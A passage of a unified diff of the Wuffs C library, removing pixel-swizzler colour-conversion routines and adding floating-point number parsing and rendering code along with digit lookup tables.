src_len) / 4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // The Wuffs API is that the original slice has no trailing data. It also ++ // allows underscores, which we don't catch here but the fallback should. ++ if (p != &z[s.len]) { ++ goto fallback; ++ } + +- __m128i shuffle = _mm_set_epi8(+0x0F, +0x0C, +0x0D, +0x0E, // +- +0x0B, +0x08, +0x09, +0x0A, // +- +0x07, +0x04, +0x05, +0x06, // +- +0x03, +0x00, +0x01, +0x02); ++ // Check that the uint64_t typed man variable has not overflowed, based on ++ // digit_count. ++ // ++ // For reference: ++ // - (1 << 63) is 9223372036854775808, which has 19 decimal digits. ++ // - (1 << 64) is 18446744073709551616, which has 20 decimal digits. ++ // - 19 nines, 9999999999999999999, is 0x8AC7230489E7FFFF, which has 64 ++ // bits and 16 hexadecimal digits. ++ // - 20 nines, 99999999999999999999, is 0x56BC75E2D630FFFFF, which has 67 ++ // bits and 17 hexadecimal digits. ++ if (digit_count > 19) { ++ // Even if we have more than 19 pseudo-digits, it's not yet definitely an ++ // overflow. Recall that digit_count might be off-by-one (too large) if ++ // there's a decimal separator. It will also over-report the number of ++ // meaningful digits if the input looks something like "0.000dddExxx". ++ // ++ // We adjust by the number of leading '0's and '.'s and re-compare to 19. ++ // Once again, technically, we could skip ','s too, but that perturbs the ++ // "script/process-json-numbers.c with -p" benchmark. ++ const uint8_t* q = start_of_digits_ptr; ++ for (; (*q == '0') || (*q == '.'); q++) { ++ } ++ digit_count -= (uint32_t)(q - start_of_digits_ptr); ++ if (digit_count > 19) { ++ goto fallback; ++ } ++ } + +- while (n >= 4) { +- __m128i x; +- x = _mm_lddqu_si128((const __m128i*)(const void*)s); +- x = _mm_shuffle_epi8(x, shuffle); +- _mm_storeu_si128((__m128i*)(void*)d, x); ++ // The wuffs_private_impl__parse_number_f64_eisel_lemire preconditions ++ // include that exp10 is in the range [-307 ..= 288]. ++ if ((exp10 < -307) || (288 < exp10)) { ++ goto fallback; ++ } + +- s += 4 * 4; +- d += 4 * 4; +- n -= 4; +- } ++ // If both man and (10 ** exp10) are exactly representable by a double, we ++ // don't need to run the Eisel-Lemire algorithm. ++ if ((-22 <= exp10) && (exp10 <= 22) && ((man >> 53) == 0)) { ++ double d = (double)man; ++ if (exp10 >= 0) { ++ d *= wuffs_private_impl__f64_powers_of_10[+exp10]; ++ } else { ++ d /= wuffs_private_impl__f64_powers_of_10[-exp10]; ++ } ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = negative ? -d : +d; ++ return ret; ++ } + +- while (n--) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- uint8_t s3 = s[3]; +- d[0] = s2; +- d[1] = s1; +- d[2] = s0; +- d[3] = s3; +- s += 4; +- d += 4; +- } +- return len; +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 ++ // The wuffs_private_impl__parse_number_f64_eisel_lemire preconditions ++ // include that man is non-zero. Parsing "0" should be caught by the "If ++ // both man and (10 ** exp10)" above, but "0e99" might not. ++ if (man == 0) { ++ goto fallback; ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__swap_rgbx_bgrx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t len = (dst_len < src_len ? dst_len : src_len) / 4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; ++ // Our man and exp10 are in range. Run the Eisel-Lemire algorithm. ++ int64_t r = wuffs_private_impl__parse_number_f64_eisel_lemire(man, exp10); ++ if (r < 0) { ++ goto fallback; ++ } ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( ++ ((uint64_t)r) | (((uint64_t)negative) << 63)); ++ return ret; ++ } while (0); + +- size_t n = len; +- while (n--) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- uint8_t s3 = s[3]; +- d[0] = s2; +- d[1] = s1; +- d[2] = s0; +- d[3] = s3; +- s += 4; +- d += 4; +- } +- return len; ++fallback: ++ do { ++ wuffs_private_impl__high_prec_dec h; ++ wuffs_base__status status = ++ wuffs_private_impl__high_prec_dec__parse(&h, s, options); ++ if (status.repr) { ++ return wuffs_private_impl__parse_number_f64_special(s, options); ++ } ++ return wuffs_private_impl__high_prec_dec__to_f64(&h, options); ++ } while (0); + } + + // -------- + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_1_1(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t len = (dst_len < src_len) ? dst_len : src_len; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len); ++static inline size_t // ++wuffs_private_impl__render_inf(wuffs_base__slice_u8 dst, ++ bool neg, ++ uint32_t options) { ++ if (neg) { ++ if (dst.len < 4) { ++ return 0; ++ } ++ wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492D); // '-Inf'le. ++ return 4; + } +- return len; +-} + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_2_2(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len * 2); ++ if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { ++ if (dst.len < 4) { ++ return 0; ++ } ++ wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492B); // '+Inf'le. ++ return 4; + } +- return len; +-} + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_3_3(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len3 < src_len3) ? dst_len3 : src_len3; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len * 3); ++ if (dst.len < 3) { ++ return 0; + } +- return len; ++ wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x666E49); // 'Inf'le. ++ return 3; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_4_4(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len * 4); ++static inline size_t // ++wuffs_private_impl__render_nan(wuffs_base__slice_u8 dst) { ++ if (dst.len < 3) { ++ return 0; + } +- return len; ++ wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x4E614E); // 'NaN'le. ++ return 3; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__copy_8_8(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; +- if (len > 0) { +- memmove(dst_ptr, src_ptr, len * 8); ++static size_t // ++wuffs_private_impl__high_prec_dec__render_exponent_absent( ++ wuffs_base__slice_u8 dst, ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t precision, ++ uint32_t options) { ++ size_t n = (h->negative || ++ (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) ++ ? 1 ++ : 0; ++ if (h->decimal_point <= 0) { ++ n += 1; ++ } else { ++ n += (size_t)(h->decimal_point); ++ } ++ if (precision > 0) { ++ n += precision + 1; // +1 for the '.'. + } +- return len; +-} + +-// -------- ++ // Don't modify dst if the formatted number won't fit. ++ if (n > dst.len) { ++ return 0; ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgr(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // Align-left or align-right. ++ uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) ++ ? &dst.ptr[dst.len - n] ++ : &dst.ptr[0]; + +- // TODO: unroll. ++ // Leading "±". ++ if (h->negative) { ++ *ptr++ = '-'; ++ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { ++ *ptr++ = '+'; ++ } + +- while (n >= 1) { +- uint32_t b5 = s[0] >> 3; +- uint32_t g6 = s[1] >> 2; +- uint32_t r5 = s[2] >> 3; +- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ // Integral digits. ++ if (h->decimal_point <= 0) { ++ *ptr++ = '0'; ++ } else { ++ uint32_t m = ++ wuffs_base__u32__min(h->num_digits, (uint32_t)(h->decimal_point)); ++ uint32_t i = 0; ++ for (; i < m; i++) { ++ *ptr++ = (uint8_t)('0' | h->digits[i]); ++ } ++ for (; i < (uint32_t)(h->decimal_point); i++) { ++ *ptr++ = '0'; ++ } ++ } + +- s += 1 * 3; +- d += 1 * 2; +- n -= 1; ++ // Separator and then fractional digits. ++ if (precision > 0) { ++ *ptr++ = ++ (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.'; ++ uint32_t i = 0; ++ for (; i < precision; i++) { ++ uint32_t j = ((uint32_t)(h->decimal_point)) + i; ++ *ptr++ = (uint8_t)('0' | ((j < h->num_digits) ? h->digits[j] : 0)); ++ } + } + +- return len; ++ return n; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgrx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- // TODO: unroll. ++static size_t // ++wuffs_private_impl__high_prec_dec__render_exponent_present( ++ wuffs_base__slice_u8 dst, ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t precision, ++ uint32_t options) { ++ int32_t exp = 0; ++ if (h->num_digits > 0) { ++ exp = h->decimal_point - 1; ++ } ++ bool negative_exp = exp < 0; ++ if (negative_exp) { ++ exp = -exp; ++ } + +- while (n >= 1) { +- uint32_t b5 = s[0] >> 3; +- uint32_t g6 = s[1] >> 2; +- uint32_t r5 = s[2] >> 3; +- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ size_t n = (h->negative || ++ (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) ++ ? 4 ++ : 3; // Mininum 3 bytes: first digit and then "e±". ++ if (precision > 0) { ++ n += precision + 1; // +1 for the '.'. ++ } ++ n += (exp < 100) ? 2 : 3; + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ // Don't modify dst if the formatted number won't fit. ++ if (n > dst.len) { ++ return 0; + } + +- return len; +-} ++ // Align-left or align-right. ++ uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) ++ ? &dst.ptr[dst.len - n] ++ : &dst.ptr[0]; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // Leading "±". ++ if (h->negative) { ++ *ptr++ = '-'; ++ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { ++ *ptr++ = '+'; ++ } + +- // TODO: unroll. ++ // Integral digit. ++ if (h->num_digits > 0) { ++ *ptr++ = (uint8_t)('0' | h->digits[0]); ++ } else { ++ *ptr++ = '0'; ++ } + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); ++ // Separator and then fractional digits. ++ if (precision > 0) { ++ *ptr++ = ++ (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.'; ++ uint32_t i = 1; ++ uint32_t j = wuffs_base__u32__min(h->num_digits, precision + 1); ++ for (; i < j; i++) { ++ *ptr++ = (uint8_t)('0' | h->digits[i]); ++ } ++ for (; i <= precision; i++) { ++ *ptr++ = '0'; ++ } ++ } + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ // Exponent: "e±" and then 2 or 3 digits. ++ *ptr++ = 'e'; ++ *ptr++ = negative_exp ? '-' : '+'; ++ if (exp < 10) { ++ *ptr++ = '0'; ++ *ptr++ = (uint8_t)('0' | exp); ++ } else if (exp < 100) { ++ *ptr++ = (uint8_t)('0' | (exp / 10)); ++ *ptr++ = (uint8_t)('0' | (exp % 10)); ++ } else { ++ int32_t e = exp / 100; ++ exp -= e * 100; ++ *ptr++ = (uint8_t)('0' | e); ++ *ptr++ = (uint8_t)('0' | (exp / 10)); ++ *ptr++ = (uint8_t)('0' | (exp % 10)); + } + +- return len; ++ return n; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__render_number_f64(wuffs_base__slice_u8 dst, ++ double x, ++ uint32_t precision, ++ uint32_t options) { ++ // Decompose x (64 bits) into negativity (1 bit), base-2 exponent (11 bits ++ // with a -1023 bias) and mantissa (52 bits). ++ uint64_t bits = wuffs_base__ieee_754_bit_representation__from_f64_to_u64(x); ++ bool neg = (bits >> 63) != 0; ++ int32_t exp2 = ((int32_t)(bits >> 52)) & 0x7FF; ++ uint64_t man = bits & 0x000FFFFFFFFFFFFFul; + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))))); ++ // Apply the exponent bias and set the implicit top bit of the mantissa, ++ // unless x is subnormal. Also take care of Inf and NaN. ++ if (exp2 == 0x7FF) { ++ if (man != 0) { ++ return wuffs_private_impl__render_nan(dst); ++ } ++ return wuffs_private_impl__render_inf(dst, neg, options); ++ } else if (exp2 == 0) { ++ exp2 = -1022; ++ } else { ++ exp2 -= 1023; ++ man |= 0x0010000000000000ul; ++ } + +- s += 1 * 8; +- d += 1 * 2; +- n -= 1; ++ // Ensure that precision isn't too large. ++ if (precision > 4095) { ++ precision = 4095; + } + +- return len; +-} ++ // Convert from the (neg, exp2, man) tuple to an HPD. ++ wuffs_private_impl__high_prec_dec h; ++ wuffs_private_impl__high_prec_dec__assign(&h, man, neg); ++ if (h.num_digits > 0) { ++ wuffs_private_impl__high_prec_dec__lshift(&h, ++ exp2 - 52); // 52 mantissa bits. ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // Handle the "%e" and "%f" formats. ++ switch (options & (WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT | ++ WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT)) { ++ case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT: // The "%"f" format. ++ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { ++ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); ++ int32_t p = ((int32_t)(h.num_digits)) - h.decimal_point; ++ precision = ((uint32_t)(wuffs_base__i32__max(0, p))); ++ } else { ++ wuffs_private_impl__high_prec_dec__round_nearest( ++ &h, ((int32_t)precision) + h.decimal_point); ++ } ++ return wuffs_private_impl__high_prec_dec__render_exponent_absent( ++ dst, &h, precision, options); + +- // TODO: unroll. ++ case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT: // The "%e" format. ++ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { ++ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); ++ precision = (h.num_digits > 0) ? (h.num_digits - 1) : 0; ++ } else { ++ wuffs_private_impl__high_prec_dec__round_nearest( ++ &h, ((int32_t)precision) + 1); ++ } ++ return wuffs_private_impl__high_prec_dec__render_exponent_present( ++ dst, &h, precision, options); ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sr = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sb = 0x101 * ((uint32_t)s[0]); ++ // We have the "%g" format and so precision means the number of significant ++ // digits, not the number of digits after the decimal separator. Perform ++ // rounding and determine whether to use "%e" or "%f". ++ int32_t e_threshold = 0; ++ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { ++ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); ++ precision = h.num_digits; ++ e_threshold = 6; ++ } else { ++ if (precision == 0) { ++ precision = 1; ++ } ++ wuffs_private_impl__high_prec_dec__round_nearest(&h, ((int32_t)precision)); ++ e_threshold = ((int32_t)precision); ++ int32_t nd = ((int32_t)(h.num_digits)); ++ if ((e_threshold > nd) && (nd >= h.decimal_point)) { ++ e_threshold = nd; ++ } ++ } + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; ++ // Use the "%e" format if the exponent is large. ++ int32_t e = h.decimal_point - 1; ++ if ((e < -4) || (e_threshold <= e)) { ++ uint32_t p = wuffs_base__u32__min(precision, h.num_digits); ++ return wuffs_private_impl__high_prec_dec__render_exponent_present( ++ dst, &h, (p > 0) ? (p - 1) : 0, options); ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ // Use the "%f" format otherwise. ++ int32_t p = ((int32_t)precision); ++ if (p > h.decimal_point) { ++ p = ((int32_t)(h.num_digits)); ++ } ++ precision = ((uint32_t)(wuffs_base__i32__max(0, p - h.decimal_point))); ++ return wuffs_private_impl__high_prec_dec__render_exponent_absent( ++ dst, &h, precision, options); ++} + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) + +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; +- } ++// ---------------- Integer + +- return len; +-} ++// wuffs_base__parse_number__foo_digits entries are 0x00 for invalid digits, ++// and (0x80 | v) for valid digits, where v is the 4 bit value. + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static const uint8_t wuffs_base__parse_number__decimal_digits[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. ++ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. ++ 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. + +- // TODO: unroll. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); +- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); +- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); +- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++static const uint8_t wuffs_base__parse_number__hexadecimal_digits[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. ++ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. ++ 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x40 ..= 0x47. 'A'-'F'. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. ++ 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x60 ..= 0x67. 'a'-'f'. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 